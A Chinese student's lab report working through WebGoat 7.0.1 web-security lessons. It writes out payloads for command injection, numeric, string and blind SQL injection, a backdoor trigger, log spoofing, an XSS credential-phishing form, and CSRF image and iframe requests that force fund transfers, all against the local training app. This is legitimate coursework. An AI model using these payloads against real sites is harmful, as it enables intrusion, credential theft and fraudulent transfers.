标签:inspect one 字符串 arc 就会 清除 img toc 输入框
Exp8 Web基础
SQL注入
XSS攻击
CSRF(Cross-site request forgery)
下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar
再有该文件的在命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat
运行一段时间之后命令行出现Starting ProtocolHandler 证明开启成功
打开浏览器访问localhost:8080/WebGoat
WebGoat默登陆成功后发现左侧无选项:
如果左侧未出现课程则重新下载jdk,原因是编译后的java程序与Linux上的java Se版本不一致而产生的错误,解决方法如下:
下载jdk1-8
建立目录,将下载的jdk复制过去并解压
vim /etc/profile ,复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_161 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
通知系统java的位置
设置默认JDK
重新载入profile
1.Command Injection(命令注入)
技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。
原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
目标:能够在目标主机上执行任何系统命令
操作方法:
在左侧菜单栏中选择 Injection Flaws->Command Injection
右键点击复选框选择Inspect Element
审查网页元素对源代码<option>
进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"
点击 View
可以看到网络端口使用情况和 IP 地址
2、Numeric SQL Injection(数字型SQL注入)
技术概念 :SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁
原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
目标:查看所有的天气数据。
操作方法:
在左侧菜单栏中选择 Injection Flaws->Command Injection
右键点击复选框选择 Inspect Element
审查网页元素对源代码<option>
进行修改,在在选中的城市编号value="101"
后添加or 1=1
Go!
显示所有天气数据
3、Log Spoofing(日志欺骗)
原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作方法:
利用回车0D%
和换行符%0A
让其在日志中两行显示
在User Name中填入webgoat%0d%0aLogin Succeeded for username: zzh20174318
点击Login可以看到webgoat Login Fail
,自己添加的zzh20174318 Login Succeeded
4、String SQL Injection(字符串型注入)
操作方法:
‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容yb‘ or 1=1--
select表里面的所有数据
5、LAB: SQL Injection
操作方法:
inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为20
hj‘ or ‘1‘ = ‘1,
攻击成功,得到所有人员列表
6、Database Backdoors(数据库后门)
操作方法:
输入注入语句101; update employee set salary=8000
执行两个语句
输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘chaowendao@outlook.com‘WHERE userid = NEW.userid
注入一个充当SQL后门的触发器
分析:
BEFORE/AFTER
参数指定了触发执行的时间,在事件之前或是之后
FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
7、Blind Numeric SQL Injection(数字型盲注入)
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
操作方法:
本实验中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND
函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
输入查询语句101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
输入查询语句101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364
8、Blind String SQL Injection(字符串型盲注入)
操作方法:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘H‘ );
取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) < ‘h‘ );
最终的都正确PIN字段Jill输入验证
1、Phishing with XSS 跨站脚本钓鱼攻击
<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
2、存储型XSS攻击(Stored XSS Attacks)
操作方法:
<script>alert("You‘ve been attacked!az az az az az az az");</script>
后点击Submit
攻击成功3、反射型XSS攻击(Reflected XSS Attacks)
操作方法:
<script>alert("You‘ve been attacked!!azazazazaz");</script>
,点击purchase
的同时页面就给出了反馈1、跨站请求伪造(Cross Site Request Forgery (CSRF))
<imgsrc="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
操作方法:
在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2、绕过 CSRF 确认( CSRF Prompt By‐Pass)
主题:实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
操作方法:
<iframe src="attack?Screen=326&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=326&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成以Title命名的链接,点击进入后,攻击成功
(1)SQL注入攻击原理,如何防御
『 SQL注入攻击是把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,来达到欺骗服务器执行恶意SQL命令的目的。
防御方式:
(2)XSS攻击的原理,如何防御
『 XSS攻击是利用网页开发时留下的漏洞,将恶意代码植入网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,可以进行越权操作、获取私密网页内容、会话和cookie等各种内容
防御方式:
(3)CSRF攻击原理,如何防御
『 CSRF攻击是通过伪装成受信任的用户,利用他们的请求来访问攻击受信任的网站
防御方式:
本次实验通过WebGoat学习了SQL、XSS、CRSF相关的知识,了解了关于它们的多种攻击方式,实验做完后就感觉上网被攻击的风险挺大的,平时更是需要注意保护个人的信息。
本次实验做完后终于不用写博客了。通过一系列的学习,本学习对网络攻防有了进一步的理解与掌握,本来对这门学科是没有什么主观上的看法的,好多的东西之前都没有接触过,在各个实验与课堂里,慢慢接触后发现这门课是非常有趣的,那些看似复杂的语句、看似晦涩的知识,实际上都很好理解。虽然实验做完了,但学习并没有结束,也希望在日后能用到本学期实验中的相关知识理论与技术手段。
2019-2020 20174318张致豪《网络对抗技术》Exp9 Web安全
标签:inspect one 字符串 arc 就会 清除 img toc 输入框
原文地址:https://www.cnblogs.com/zzh1999/p/12943992.html